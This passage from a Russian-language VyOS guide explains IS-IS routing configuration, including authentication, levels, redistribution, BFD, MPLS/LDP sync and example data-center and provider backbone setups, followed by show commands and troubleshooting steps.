Интерфейс анонсирует свои сети, но не формирует adjacencies:

```
set protocols isis interface eth2 passive
commit
```

Применение:
- Loopback интерфейсы
- LAN интерфейсы без IS-IS neighbors
- Предотвращение несанкционированных adjacencies

### Metric

IS-IS метрика интерфейса:

```
set protocols isis interface eth1 metric 10
commit
```

Значения: 1-16777215 (по умолчанию 10).

По уровню:
```
set protocols isis interface eth1 metric level-1 20
set protocols isis interface eth1 metric level-2 10
commit
```

**Wide metrics** (расширенные метрики):
```
set protocols isis metric-style wide
commit
```

Стили:
- **narrow** - старый формат (1-63)
- **wide** - расширенный формат (1-16777215), рекомендуется
- **transition** - оба формата

### Priority

Приоритет для выбора DIS (Designated Intermediate System) на broadcast сетях:

```
set protocols isis interface eth1 priority 64
commit
```

Значения: 0-127 (по умолчанию 64).

По уровню:
```
set protocols isis interface eth1 priority level-1 100
set protocols isis interface eth1 priority level-2 50
commit
```

Роутер с наивысшим priority становится DIS.

**Отличия от OSPF DR**:
- DIS не обязателен (preemptive election)
- DIS может быть переизбран
- Priority 0 НЕ предотвращает выбор DIS

### Hello Timers

Hello interval (секунды):

```
set protocols isis interface eth1 hello-interval 3
commit
```

По уровню:
```
set protocols isis interface eth1 hello-interval level-1 3
set protocols isis interface eth1 hello-interval level-2 10
commit
```

Hello multiplier (для dead interval):

```
set protocols isis interface eth1 hello-multiplier 3
commit
```

Dead interval = hello-interval × hello-multiplier.

**По умолчанию**:
- Broadcast: hello 10s, multiplier 3 (dead 30s)
- Point-to-point: hello 3s, multiplier 3 (dead 9s)

**Рекомендации**:
- Должны совпадать между neighbors
- Меньшие значения для быстрой конвергенции
- Используйте BFD для sub-second failover

## Authentication

Защита IS-IS от несанкционированных роутеров.

### Area Authentication (Level-1)

Plaintext (не рекомендуется):
```
set protocols isis area-password plaintext-password 'AreaPassword123'
commit
```

MD5:
```
set protocols isis area-password md5 'AreaSecurePassword!'
commit
```

Применяется к Level-1 LSP, CSNP, PSNP.

### Domain Authentication (Level-2)

Plaintext:
```
set protocols isis domain-password plaintext-password 'DomainPassword123'
commit
```

MD5:
```
set protocols isis domain-password md5 'DomainSecurePassword!'
commit
```

Применяется к Level-2 LSP, CSNP, PSNP.

### Interface Authentication

Plaintext:
```
set protocols isis interface eth1 password plaintext-password 'InterfacePass'
commit
```

Применяется к Hello PDU на конкретном интерфейсе.

**Рекомендации**:
1. Используйте MD5 для area/domain password
2. Используйте interface password для дополнительной защиты
3. Не используйте plaintext в production
4. Passwords должны совпадать между neighbors

### Пример полной аутентификации

```
# Domain (L2) authentication
set protocols isis domain-password md5 'L2-Secure-Domain-Pass!'

# Area (L1) authentication
set protocols isis area-password md5 'L1-Secure-Area-Pass!'

# Interface authentication
set protocols isis interface eth1 password plaintext-password 'Interface-Hello-Pass'
set protocols isis interface eth2 password plaintext-password 'Interface-Hello-Pass'

commit
save
```

## Level Configuration

### Level-1 Only Router

Роутер только для intra-area маршрутизации:

```
set protocols isis net 49.0001.1921.6800.1001.00

set protocols isis level level-1

set protocols isis interface eth1 circuit-type level-1
set protocols isis interface eth2 circuit-type level-1
set protocols isis interface lo

commit
save
```

### Level-2 Only Router

Роутер только для inter-area маршрутизации:

```
set protocols isis net 49.0002.1921.6800.2001.00

set protocols isis level level-2

set protocols isis interface eth1 circuit-type level-2-only
set protocols isis interface eth2 circuit-type level-2-only
set protocols isis interface lo

commit
save
```

### Level-1-2 Router (Border)

Роутер на границе между L1 и L2:

```
set protocols isis net 49.0001.1921.6800.3001.00

# По умолчанию level-1-2, но можно явно указать
set protocols isis level level-1-2

set protocols isis interface eth1 circuit-type level-1
set protocols isis interface eth2 circuit-type level-2-only
set protocols isis interface lo

commit
save
```

### Attached Bit

L1/L2 роутер устанавливает attached bit в L1 LSP, указывая L1 роутерам путь к L2 backbone.

По умолчанию enabled. Для отключения:

```
set protocols isis no-attached-bit send
commit
```

## Route Redistribution

Импорт маршрутов из других источников в IS-IS.

### Redistribution Sources

Connected routes:
```
set protocols isis redistribute ipv4 connected
commit
```

Static routes:
```
set protocols isis redistribute ipv4 static
commit
```

OSPF:
```
set protocols isis redistribute ipv4 ospf
commit
```

BGP:
```
set protocols isis redistribute ipv4 bgp
commit
```

Kernel:
```
set protocols isis redistribute ipv4 kernel
commit
```

### Redistribution с метрикой

Установить метрику:
```
set protocols isis redistribute ipv4 connected metric 100
commit
```

По уровням:
```
set protocols isis redistribute ipv4 static level-1 metric 50
set protocols isis redistribute ipv4 static level-2 metric 100
commit
```

### Route-map для selective redistribution

```
set protocols isis redistribute ipv4 static route-map STATIC-TO-ISIS
commit
```

Пример route-map:
```
set policy route-map STATIC-TO-ISIS rule 10 action permit
set policy route-map STATIC-TO-ISIS rule 10 match ip address prefix-list ALLOW-NETWORKS

set policy prefix-list ALLOW-NETWORKS rule 10 action permit
set policy prefix-list ALLOW-NETWORKS rule 10 prefix 10.0.0.0/8 le 24

commit
```

### IPv6 Redistribution

IS-IS поддерживает IPv6 в том же процессе:

```
set protocols isis redistribute ipv6 connected
set protocols isis redistribute ipv6 static
commit
```

## Default Route

Анонс default route в IS-IS.

### Default Information Originate

IPv4 default:
```
set protocols isis default-information originate ipv4
commit
```

IPv6 default:
```
set protocols isis default-information originate ipv6
commit
```

По уровням:

IPv4 в Level-1:
```
set protocols isis default-information originate ipv4 level-1
commit
```

IPv4 в Level-2:
```
set protocols isis default-information originate ipv4 level-2
commit
```

С метрикой:
```
set protocols isis default-information originate ipv4 level-1 metric 10
commit
```

С route-map:
```
set protocols isis default-information originate ipv4 route-map DEFAULT-IPV4
commit
```

## Summarization

Суммирование IP префиксов в IS-IS.

### IPv4 Summary

```
set protocols isis summary-address ipv4 192.168.0.0/16
commit
```

По уровням:
```
set protocols isis summary-address ipv4 192.168.0.0/16 level-1
commit
```

```
set protocols isis summary-address ipv4 10.0.0.0/8 level-2
commit
```

### IPv6 Summary

```
set protocols isis summary-address ipv6 2001:db8::/32
commit
```

По уровням:
```
set protocols isis summary-address ipv6 2001:db8::/32 level-2
commit
```

## Advanced Parameters

### SPF Timers

Управление частотой SPF calculation:

```
set protocols isis spf-interval level-1 5
set protocols isis spf-interval level-2 5
commit
```

Значения в секундах (1-120, по умолчанию 5).

SPF delay:
```
set protocols isis spf-delay-ietf init-delay 50
set protocols isis spf-delay-ietf short-delay 200
set protocols isis spf-delay-ietf long-delay 5000
set protocols isis spf-delay-ietf holddown 10000
set protocols isis spf-delay-ietf time-to-learn 20000
commit
```

Все значения в миллисекундах.

**IETF SPF delay** - adaptive алгоритм для оптимизации SPF calculation.

### LSP Timers

LSP generation interval:
```
set protocols isis lsp-gen-interval level-1 5
set protocols isis lsp-gen-interval level-2 5
commit
```

Значения в секундах (1-120).

LSP refresh interval:
```
set protocols isis lsp-refresh-interval level-1 900
set protocols isis lsp-refresh-interval level-2 900
commit
```

Значения в секундах (1-65535, по умолчанию 900).

LSP lifetime:
```
set protocols isis max-lsp-lifetime level-1 1200
set protocols isis max-lsp-lifetime level-2 1200
commit
```

Значения в секундах (360-65535, по умолчанию 1200).

### Overload Bit

Установить overload bit (роутер не используется для транзита):

```
set protocols isis overload-bit
commit
```

На время (секунды):
```
set protocols isis overload-bit on-startup 300
commit
```

Роутер будет в overload state 300 секунд после загрузки.

### Purge Originator

Идентификация роутера, который purged LSP:

```
set protocols isis purge-originator
commit
```

Полезно для troubleshooting.

### Log Adjacency Changes

Логирование изменений в adjacencies:

```
set protocols isis log-adjacency-changes
commit
```

## IPv6 Support

IS-IS нативно поддерживает IPv4 и IPv6 в одном процессе.

### IPv6 Configuration

Включить IPv6:
```
set protocols isis address-family ipv6
commit
```

IPv6 на интерфейсе включается автоматически при наличии IPv6 адреса.

### Multi-Topology IS-IS

Разделение IPv4 и IPv6 топологий:

```
set protocols isis topology ipv6-unicast
commit
```

По умолчанию IS-IS использует single topology для IPv4 и IPv6.

### Пример IPv4 и IPv6

```
set interfaces loopback lo address 192.168.255.1/32
set interfaces loopback lo address 2001:db8::1/128

set protocols isis net 49.0001.1921.6825.5001.00

# IPv4
set protocols isis redistribute ipv4 connected

# IPv6
set protocols isis address-family ipv6
set protocols isis redistribute ipv6 connected

set protocols isis interface eth1
set protocols isis interface lo

commit
save
```

Проверка:
```
show isis neighbor
show ipv6 route isis
show ip route isis
```

## BFD Integration

Bidirectional Forwarding Detection для быстрого обнаружения отказов.

```
set protocols isis interface eth1 bfd
commit
```

Настройка BFD профиля:
```
set protocols bfd profile isis-peers interval transmit 300
set protocols bfd profile isis-peers interval receive 300
set protocols bfd profile isis-peers interval multiplier 3

set protocols isis interface eth1 bfd profile isis-peers

commit
```

BFD обнаруживает отказ link за sub-second время vs десятки секунд с IS-IS hello.

## MPLS и Segment Routing

IS-IS широко используется в MPLS и Segment Routing сетях.

### LDP Synchronization

Синхронизация IS-IS и LDP:

```
set protocols isis interface eth1 ldp-sync
commit
```

IS-IS не использует link пока LDP session не установлен.

Holddown time:
```
set protocols isis ldp-sync holddown 300
commit
```

### Segment Routing (Experimental)

Segment Routing в IS-IS (требует FRR 7.5+):

```
set protocols isis segment-routing enable
set protocols isis segment-routing global-block low-label-value 16000
set protocols isis segment-routing global-block high-label-value 23999
commit
```

Prefix SID:
```
set protocols isis segment-routing prefix 192.168.255.1/32 index 1
commit
```

**Note**: Segment Routing support в VyOS может быть ограничен в зависимости от версии FRR.

## Примеры конфигурации

### Простая двухточечная сеть

**Router A** (L1/L2):
```
set interfaces loopback lo address 192.168.255.1/32

set protocols isis net 49.0001.1921.6825.5001.00
set protocols isis dynamic-hostname

set protocols isis interface eth1 network point-to-point
set protocols isis interface eth1 password plaintext-password 'HelloSecret'

set protocols isis interface lo passive

set protocols isis area-password md5 'AreaPass!'
set protocols isis domain-password md5 'DomainPass!'

commit
save
```

**Router B** (L1/L2):
```
set interfaces loopback lo address 192.168.255.2/32

set protocols isis net 49.0001.1921.6825.5002.00
set protocols isis dynamic-hostname

set protocols isis interface eth1 network point-to-point
set protocols isis interface eth1 password plaintext-password 'HelloSecret'

set protocols isis interface lo passive

set protocols isis area-password md5 'AreaPass!'
set protocols isis domain-password md5 'DomainPass!'

commit
save
```

### Multi-area с L1 и L2

**L1 Router** (Area 0001):
```
set interfaces loopback lo address 192.168.255.10/32

set protocols isis net 49.0001.1921.6825.5010.00
set protocols isis level level-1

set protocols isis interface eth1 circuit-type level-1
set protocols isis interface eth2 circuit-type level-1
set protocols isis interface lo

set protocols isis area-password md5 'Area0001Pass!'

commit
save
```

**L1/L2 Border Router** (между Area 0001 и L2):
```
set interfaces loopback lo address 192.168.255.100/32

set protocols isis net 49.0001.1921.6825.5100.00
set protocols isis level level-1-2

# L1 interface
set protocols isis interface eth1 circuit-type level-1

# L2 interface
set protocols isis interface eth2 circuit-type level-2-only

set protocols isis interface lo

set protocols isis area-password md5 'Area0001Pass!'
set protocols isis domain-password md5 'DomainL2Pass!'

commit
save
```

**L2 Router**:
```
set interfaces loopback lo address 192.168.255.200/32

set protocols isis net 49.0002.1921.6825.5200.00
set protocols isis level level-2

set protocols isis interface eth1 circuit-type level-2-only
set protocols isis interface eth2 circuit-type level-2-only
set protocols isis interface lo

set protocols isis domain-password md5 'DomainL2Pass!'

commit
save
```

### IS-IS с route redistribution

**Edge Router**:
```
set interfaces loopback lo address 192.168.255.1/32

set protocols isis net 49.0001.1921.6825.5001.00

# Внутренние интерфейсы
set protocols isis interface eth1
set protocols isis interface lo

# LAN интерфейсы
set protocols isis interface eth2 passive

# Static routes для external
set protocols static route 203.0.113.0/24 next-hop 198.51.100.1

# Redistribute static в IS-IS
set protocols isis redistribute ipv4 static level-2 metric 100

# Redistribute connected
set protocols isis redistribute ipv4 connected level-1 metric 10

commit
save
```

### IS-IS через VPN (VTI)

**Site A**:
```
set interfaces loopback lo address 192.168.255.1/32
set interfaces vti vti0 address 172.16.0.1/30

set protocols isis net 49.0001.1921.6825.5001.00

set protocols isis interface vti0 network point-to-point
set protocols isis interface vti0 password plaintext-password 'VPN-ISIS!'

set protocols isis interface eth1 passive
set protocols isis interface lo passive

# Redistribute connected
set protocols isis redistribute ipv4 connected

commit
save
```

**Site B**:
```
set interfaces loopback lo address 192.168.255.2/32
set interfaces vti vti0 address 172.16.0.2/30

set protocols isis net 49.0001.1921.6825.5002.00

set protocols isis interface vti0 network point-to-point
set protocols isis interface vti0 password plaintext-password 'VPN-ISIS!'

set protocols isis interface eth1 passive
set protocols isis interface lo passive

# Redistribute connected
set protocols isis redistribute ipv4 connected

commit
save
```

### IS-IS с BGP (Service Provider)

**PE Router**:
```
set interfaces loopback lo address 192.168.255.1/32

# IS-IS для IGP
set protocols isis net 49.0001.1921.6825.5001.00
set protocols isis interface eth1
set protocols isis interface lo passive

# BGP для customer routes
set protocols bgp system-as 65000
set protocols bgp neighbor 192.168.255.2 remote-as 65000
set protocols bgp neighbor 192.168.255.2 update-source lo
set protocols bgp neighbor 192.168.255.2 address-family ipv4-unicast

# Customer BGP
set protocols bgp neighbor 203.0.113.1 remote-as 65001
set protocols bgp neighbor 203.0.113.1 address-family ipv4-unicast

# Redistribute connected в IS-IS (infrastructure)
set protocols isis redistribute ipv4 connected metric 10

# Не редистрибутим BGP в IS-IS (используем BGP для customer routes)

commit
save
```

### Datacenter Leaf-Spine Fabric

**Spine Router**:
```
set interfaces loopback lo address 10.255.255.1/32

set protocols isis net 49.0001.1025.5255.5001.00
set protocols isis level level-2
set protocols isis metric-style wide

# Все интерфейсы к Leaf роутерам
set protocols isis interface eth1 circuit-type level-2-only
set protocols isis interface eth1 network point-to-point

set protocols isis interface eth2 circuit-type level-2-only
set protocols isis interface eth2 network point-to-point

set protocols isis interface eth3 circuit-type level-2-only
set protocols isis interface eth3 network point-to-point

set protocols isis interface eth4 circuit-type level-2-only
set protocols isis interface eth4 network point-to-point

set protocols isis interface lo passive

commit
save
```

**Leaf Router**:
```
set interfaces loopback lo address 10.255.255.101/32

set protocols isis net 49.0001.1025.5255.5101.00
set protocols isis level level-2
set protocols isis metric-style wide

# Uplinks к Spine
set protocols isis interface eth1 circuit-type level-2-only
set protocols isis interface eth1 network point-to-point

set protocols isis interface eth2 circuit-type level-2-only
set protocols isis interface eth2 network point-to-point

# Server-facing интерфейсы
set protocols isis interface eth3 passive
set protocols isis interface eth4 passive

set protocols isis interface lo passive

# Redistribute connected (server networks)
set protocols isis redistribute ipv4 connected level-2 metric 10

commit
save
```

### IS-IS с IPv4 и IPv6

```
set interfaces loopback lo address 192.168.255.1/32
set interfaces loopback lo address 2001:db8:255::1/128

set interfaces ethernet eth1 address 10.0.0.1/30
set interfaces ethernet eth1 address 2001:db8:1::1/64

set protocols isis net 49.0001.1921.6825.5001.00
set protocols isis dynamic-hostname

# IPv6 support
set protocols isis address-family ipv6

# Interfaces
set protocols isis interface eth1 network point-to-point
set protocols isis interface lo passive

# Redistribute IPv4
set protocols isis redistribute ipv4 connected

# Redistribute IPv6
set protocols isis redistribute ipv6 connected

commit
save
```

## Yandex Cloud: IS-IS для datacenter fabric

Пример использования IS-IS в Yandex Cloud для datacenter Leaf-Spine fabric.

### Топология

```
                    Spine-1 (10.255.0.1)
                    /                  \
                   /                    \
    Leaf-1 (10.255.1.1)          Leaf-2 (10.255.1.2)
         |                              |
    Servers 10.10.1.0/24          Servers 10.10.2.0/24
```

### Spine-1 Configuration

```
# Loopback для Spine
set interfaces loopback lo address 10.255.0.1/32

# Uplinks к Leafs
set interfaces ethernet eth1 address 10.0.0.0/31
set interfaces ethernet eth1 description 'Link to Leaf-1'

set interfaces ethernet eth2 address 10.0.0.2/31
set interfaces ethernet eth2 description 'Link to Leaf-2'

# IS-IS Process
set protocols isis net 49.0001.1025.5000.1001.00
set protocols isis level level-2
set protocols isis metric-style wide
set protocols isis dynamic-hostname

# Spine interfaces - L2 only, point-to-point
set protocols isis interface eth1 circuit-type level-2-only
set protocols isis interface eth1 network point-to-point
set protocols isis interface eth1 metric 10

set protocols isis interface eth2 circuit-type level-2-only
set protocols isis interface eth2 network point-to-point
set protocols isis interface eth2 metric 10

set protocols isis interface lo passive

# Authentication
set protocols isis domain-password md5 'YandexCloud-DC-Fabric-2025!'

# BFD для fast convergence
set protocols bfd profile dc-fabric interval transmit 300
set protocols bfd profile dc-fabric interval receive 300
set protocols bfd profile dc-fabric interval multiplier 3

set protocols isis interface eth1 bfd profile dc-fabric
set protocols isis interface eth2 bfd profile dc-fabric

commit
save
```

### Leaf-1 Configuration

```
# Loopback для Leaf
set interfaces loopback lo address 10.255.1.1/32

# Uplink к Spine
set interfaces ethernet eth1 address 10.0.0.1/31
set interfaces ethernet eth1 description 'Uplink to Spine-1'

# Server-facing интерфейсы
set interfaces ethernet eth2 address 10.10.1.1/24
set interfaces ethernet eth2 description 'Servers VLAN 10'

# IS-IS Process
set protocols isis net 49.0001.1025.5001.1001.00
set protocols isis level level-2
set protocols isis metric-style wide
set protocols isis dynamic-hostname

# Uplink interface
set protocols isis interface eth1 circuit-type level-2-only
set protocols isis interface eth1 network point-to-point
set protocols isis interface eth1 metric 10

# Server interfaces - passive
set protocols isis interface eth2 passive
set protocols isis interface lo passive

# Redistribute connected (server networks)
set protocols isis redistribute ipv4 connected level-2 metric 10

# Authentication
set protocols isis domain-password md5 'YandexCloud-DC-Fabric-2025!'

# BFD для fast convergence
set protocols isis interface eth1 bfd profile dc-fabric

commit
save
```

### Leaf-2 Configuration

```
# Loopback для Leaf
set interfaces loopback lo address 10.255.1.2/32

# Uplink к Spine
set interfaces ethernet eth1 address 10.0.0.3/31
set interfaces ethernet eth1 description 'Uplink to Spine-1'

# Server-facing интерфейсы
set interfaces ethernet eth2 address 10.10.2.1/24
set interfaces ethernet eth2 description 'Servers VLAN 20'

# IS-IS Process
set protocols isis net 49.0001.1025.5001.1002.00
set protocols isis level level-2
set protocols isis metric-style wide
set protocols isis dynamic-hostname

# Uplink interface
set protocols isis interface eth1 circuit-type level-2-only
set protocols isis interface eth1 network point-to-point
set protocols isis interface eth1 metric 10

# Server interfaces - passive
set protocols isis interface eth2 passive
set protocols isis interface lo passive

# Redistribute connected (server networks)
set protocols isis redistribute ipv4 connected level-2 metric 10

# Authentication
set protocols isis domain-password md5 'YandexCloud-DC-Fabric-2025!'

# BFD для fast convergence
set protocols isis interface eth1 bfd profile dc-fabric

commit
save
```

### Проверка Yandex Cloud Fabric

**На Spine-1**:
```
show isis neighbor
show isis database
show ip route isis

# Должны видеть 10.10.1.0/24 и 10.10.2.0/24 от Leafs
```

**На Leaf-1**:
```
show isis neighbor
show isis route

# Должны видеть 10.255.0.1 (Spine), 10.255.1.2 (Leaf-2), 10.10.2.0/24
```

**Тестирование**:
```
# С Leaf-1 до Leaf-2 loopback
ping 10.255.1.2 source-address 10.255.1.1

# С Leaf-1 до Leaf-2 server network
ping 10.10.2.1 source-address 10.10.1.1
```

**Мониторинг BFD**:
```
show bfd peers
```

## VK Cloud: IS-IS с MPLS backbone

Пример использования IS-IS в VK Cloud для MPLS Service Provider backbone.

### Топология

```
PE1 (10.255.255.1) --- P1 (10.255.255.10) --- PE2 (10.255.255.2)
         |                                           |
    Customer A                                  Customer B
    AS 65001                                    AS 65002
```

### P1 Router (Core)

```
# Loopback
set interfaces loopback lo address 10.255.255.10/32

# Core links
set interfaces ethernet eth1 address 10.0.1.1/30
set interfaces ethernet eth1 description 'Link to PE1'

set interfaces ethernet eth2 address 10.0.2.1/30
set interfaces ethernet eth2 description 'Link to PE2'

# IS-IS для IGP
set protocols isis net 49.0001.1025.5255.5010.00
set protocols isis level level-2
set protocols isis metric-style wide
set protocols isis dynamic-hostname

# Core interfaces
set protocols isis interface eth1 circuit-type level-2-only
set protocols isis interface eth1 network point-to-point
set protocols isis interface eth1 metric 10

set protocols isis interface eth2 circuit-type level-2-only
set protocols isis interface eth2 network point-to-point
set protocols isis interface eth2 metric 10

set protocols isis interface lo passive

# Authentication
set protocols isis domain-password md5 'VKCloud-MPLS-Backbone-2025!'

# LDP-ISIS synchronization
set protocols isis ldp-sync holddown 300
set protocols isis interface eth1 ldp-sync
set protocols isis interface eth2 ldp-sync

# BFD
set protocols bfd profile mpls-core interval transmit 300
set protocols bfd profile mpls-core interval receive 300
set protocols bfd profile mpls-core interval multiplier 3

set protocols isis interface eth1 bfd profile mpls-core
set protocols isis interface eth2 bfd profile mpls-core

# MPLS
set protocols mpls interface eth1
set protocols mpls interface eth2

set protocols mpls ldp interface eth1
set protocols mpls ldp interface eth2
set protocols mpls ldp router-id 10.255.255.10

commit
save
```

### PE1 Router (Provider Edge)

```
# Loopback
set interfaces loopback lo address 10.255.255.1/32

# Core link
set interfaces ethernet eth1 address 10.0.1.2/30
set interfaces ethernet eth1 description 'Link to P1'

# Customer link
set interfaces ethernet eth2 address 192.168.1.1/30
set interfaces ethernet eth2 description 'Customer A CE'

# IS-IS для IGP
set protocols isis net 49.0001.1025.5255.5001.00
set protocols isis level level-2
set protocols isis metric-style wide
set protocols isis dynamic-hostname

# Core interface
set protocols isis interface eth1 circuit-type level-2-only
set protocols isis interface eth1 network point-to-point
set protocols isis interface eth1 metric 10

set protocols isis interface lo passive

# Redistribute connected (только loopback, не customer links)
set protocols isis redistribute ipv4 connected route-map LOOPBACK-ONLY

# Route-map для selective redistribution
set policy route-map LOOPBACK-ONLY rule 10 action permit
set policy route-map LOOPBACK-ONLY rule 10 match ip address prefix-list LOOPBACKS

set policy prefix-list LOOPBACKS rule 10 action permit
set policy prefix-list LOOPBACKS rule 10 prefix 10.255.255.0/24 le 32

# Authentication
set protocols isis domain-password md5 'VKCloud-MPLS-Backbone-2025!'

# LDP-ISIS sync
set protocols isis interface eth1 ldp-sync

# BFD
set protocols isis interface eth1 bfd profile mpls-core

# MPLS
set protocols mpls interface eth1
set protocols mpls ldp interface eth1
set protocols mpls ldp router-id 10.255.255.1

# BGP для customer routes (MPLS VPN)
set protocols bgp system-as 65000
set protocols bgp neighbor 10.255.255.2 remote-as 65000
set protocols bgp neighbor 10.255.255.2 update-source lo
set protocols bgp neighbor 10.255.255.2 address-family ipv4-unicast

# Customer A BGP
set protocols bgp neighbor 192.168.1.2 remote-as 65001
set protocols bgp neighbor 192.168.1.2 address-family ipv4-unicast

commit
save
```

### PE2 Router (Provider Edge)

```
# Loopback
set interfaces loopback lo address 10.255.255.2/32

# Core link
set interfaces ethernet eth1 address 10.0.2.2/30
set interfaces ethernet eth1 description 'Link to P1'

# Customer link
set interfaces ethernet eth2 address 192.168.2.1/30
set interfaces ethernet eth2 description 'Customer B CE'

# IS-IS для IGP
set protocols isis net 49.0001.1025.5255.5002.00
set protocols isis level level-2
set protocols isis metric-style wide
set protocols isis dynamic-hostname

# Core interface
set protocols isis interface eth1 circuit-type level-2-only
set protocols isis interface eth1 network point-to-point
set protocols isis interface eth1 metric 10

set protocols isis interface lo passive

# Redistribute connected (только loopback)
set protocols isis redistribute ipv4 connected route-map LOOPBACK-ONLY

# Route-map для selective redistribution
set policy route-map LOOPBACK-ONLY rule 10 action permit
set policy route-map LOOPBACK-ONLY rule 10 match ip address prefix-list LOOPBACKS

set policy prefix-list LOOPBACKS rule 10 action permit
set policy prefix-list LOOPBACKS rule 10 prefix 10.255.255.0/24 le 32

# Authentication
set protocols isis domain-password md5 'VKCloud-MPLS-Backbone-2025!'

# LDP-ISIS sync
set protocols isis interface eth1 ldp-sync

# BFD
set protocols isis interface eth1 bfd profile mpls-core

# MPLS
set protocols mpls interface eth1
set protocols mpls ldp interface eth1
set protocols mpls ldp router-id 10.255.255.2

# BGP для customer routes (MPLS VPN)
set protocols bgp system-as 65000
set protocols bgp neighbor 10.255.255.1 remote-as 65000
set protocols bgp neighbor 10.255.255.1 update-source lo
set protocols bgp neighbor 10.255.255.1 address-family ipv4-unicast

# Customer B BGP
set protocols bgp neighbor 192.168.2.2 remote-as 65002
set protocols bgp neighbor 192.168.2.2 address-family ipv4-unicast

commit
save
```

### Проверка VK Cloud MPLS Backbone

**IS-IS Neighbors**:
```
show isis neighbor
```

**IS-IS Database**:
```
show isis database detail
```

**MPLS LDP**:
```
show mpls ldp neighbor
show mpls ldp binding
```

**LDP-ISIS Sync Status**:
```
show isis mpls ldp-sync
```

**BGP Sessions**:
```
show bgp summary
```

**Трассировка MPLS**:
```
traceroute mpls ipv4 10.255.255.2/32
```

## Операционные команды

### IS-IS Neighbors

Показать IS-IS adjacencies:
```
show isis neighbor
```

Вывод:
```
Area Circinus:
 System Id           Interface   L  State        Holdtime SNPA
 spine-1             eth1        2  Up            27       2020.2020.2020
```

Детали:
```
show isis neighbor detail
```

### IS-IS Database

Link State Database:
```
show isis database
```

Вывод:
```
Area Circinus:
IS-IS Level-1 Link State Database:
LSP ID                  PduLen  SeqNumber   Chksum  Holdtime  ATT/P/OL
router-1.00-00            142   0x00000005  0x1234    1195    0/0/0
router-2.00-00            156   0x00000003  0x5678    1189    0/0/0

IS-IS Level-2 Link State Database:
LSP ID                  PduLen  SeqNumber   Chksum  Holdtime  ATT/P/OL
router-1.00-00            178   0x00000008  0xabcd    1195    0/0/0
```

Детали конкретного LSP:
```
show isis database detail router-1.00-00
```

Level-specific:
```
show isis database level-1
show isis database level-2
```

### IS-IS Routes

IS-IS routing table:
```
show isis route
```

Вывод:
```
Area Circinus:
IS-IS paths to level-1 routers that speak IP
Vertex               Type         Metric Next-Hop             Interface Parent
192.168.255.2        IP internal  10     10.0.0.2             eth1      (null)
```

IPv4 routes:
```
show ip route isis
```

IPv6 routes:
```
show ipv6 route isis
```

### IS-IS Interface

Показать IS-IS интерфейсы:
```
show isis interface
```

Вывод:
```
Interface   Circuit  Type    Level   Metric
eth1        0x1      p2p     L1L2    10
lo          0x0      loopback L1L2   0
```

Детали интерфейса:
```
show isis interface detail
```

Конкретный интерфейс:
```
show isis interface eth1
```

### IS-IS Topology

Показать топологию:
```
show isis topology
```

Level-specific:
```
show isis topology level-1
show isis topology level-2
```

### IS-IS Summary

Общая информация:
```
show isis summary
```

Вывод:
```
VRF : default
Process Id      : 1
System Id       : 1921.6825.5001
Instance        : 0
IS-IS VRF       : default
Router ID       : 192.168.255.1
Hostname        : router-1
  Level-1-2 LSP MTU               : 1497 bytes
  Area address(es) :
          49.0001
```

### Clear ISIS

Restart IS-IS процесс:
```
restart isis
```

Clear neighbor adjacency (для re-forming):
```
clear isis neighbor
```

## Troubleshooting

### Neighbor не формируется

Проверьте:

1. **Layer 2 connectivity**:
   ```
   ping <neighbor-ip>
   ```

2. **NET configuration**:
   ```
   show isis summary
   ```

   Area ID должен совпадать для L1 neighbors.

3. **Circuit type** совпадает:
   ```
   show isis interface eth1
   ```

   L1 router не формирует adjacency с L2-only router.

4. **Authentication** совпадает:
   ```
   show isis interface detail
   ```

   Area password для L1, domain password для L2.

5. **Network type** совпадает:
   ```
   show isis interface
   ```

   Broadcast vs point-to-point.

6. **MTU** совпадает:
   ```
   show interfaces ethernet eth1
   ```

   IS-IS проверяет MTU в Hello PDU.

7. **Hello interval и multiplier**:
   ```
   show isis interface detail
   ```

### Neighbor в состоянии Init

**Init** означает роутер получает Hello, но не видит свой System ID в Hello от neighbor.

Проверьте:
- Двусторонняя Layer 2 connectivity
- Authentication правильная
- IS-IS enabled на интерфейсе neighbor

Debug:
```
monitor log
# Затем на другой сессии:
configure
set protocols isis log-adjacency-changes
commit
```

### Routes не появляются

Проверьте:

1. **Adjacency в состоянии Up**:
   ```
   show isis neighbor
   ```

2. **LSP в database**:
   ```
   show isis database
   ```

3. **Route в IS-IS RIB**:
   ```
   show isis route
   ```

4. **Route в IP routing table**:
   ```
   show ip route isis
   ```

5. **Level configuration**:

   L1 router не видит routes из L2.
   Убедитесь что есть L1/L2 router анонсирующий default в L1.

6. **Overload bit** не установлен:
   ```
   show isis database detail
   ```

   OL bit = 1 означает router в overload.

### High CPU usage

IS-IS SPF calculation частая.

1. **Проверьте флapping** интерфейсов:
   ```
   show interfaces
   ```

2. **Tune SPF timers**:
   ```
   set protocols isis spf-delay-ietf init-delay 100
   set protocols isis spf-delay-ietf short-delay 500
   set protocols isis spf-delay-ietf long-delay 5000
   set protocols isis spf-delay-ietf holddown 10000
   commit
   ```

3. **Используйте BFD** для fast failover вместо коротких hello intervals.

4. **Проверьте LSP flooding**:
   ```
   show isis database
   ```

   Высокие sequence numbers указывают на частые LSP updates.

### LSP Database не синхронизирован

1. **Проверьте MTU**:
   ```
   show interfaces ethernet eth1
   ```

   Если MTU не совпадает, large LSP могут не передаваться.

2. **Проверьте timers**:
   ```
   show isis summary
   ```

   LSP lifetime и refresh interval.

3. **Clear database** и подождите re-sync:
   ```
   restart isis
   ```

### Authentication errors

Log покажет authentication failures:
```
monitor log
```

Проверьте:
- Area password для L1 (на всех L1 neighbors)
- Domain password для L2 (на всех L2 neighbors)
- Interface password (на обоих ends link)
- Plaintext vs MD5 совпадает

### Routing loops

1. **Проверьте attached bit**:
   ```
   show isis database detail
   ```

   L1/L2 routers должны устанавливать ATT bit в L1 LSP.

2. **Проверьте metric** configuration:
   ```
   show isis interface
   ```

   Asymmetric metrics могут вызвать suboptimal routing.

3. **Проверьте redistribution**:
   ```
   show running-config protocols isis
   ```

   Mutual redistribution между IS-IS и другими протоколами может вызвать loops.

## Лучшие практики

### NET Design

1. **AFI 49** для private addressing
2. **System ID из loopback IP** для простоты
3. **Уникальный System ID** в пределах домена
4. **Area ID совпадает** для L1 neighbors в одной area

### Level Hierarchy

1. **L2 для backbone** (core routers)
2. **L1 для access/distribution** (edge routers)
3. **L1/L2 для boundaries** (border routers)
4. **Minimize L1/L2 routers** для упрощения

### Area Design

1. **Одна area** для small deployments (все L2)
2. **Multiple areas** для large deployments:
   - Core = L2 only
   - Distribution = L1/L2
   - Access = L1 only
3. **Area 49.0001** для datacenter fabric (один L2 domain)

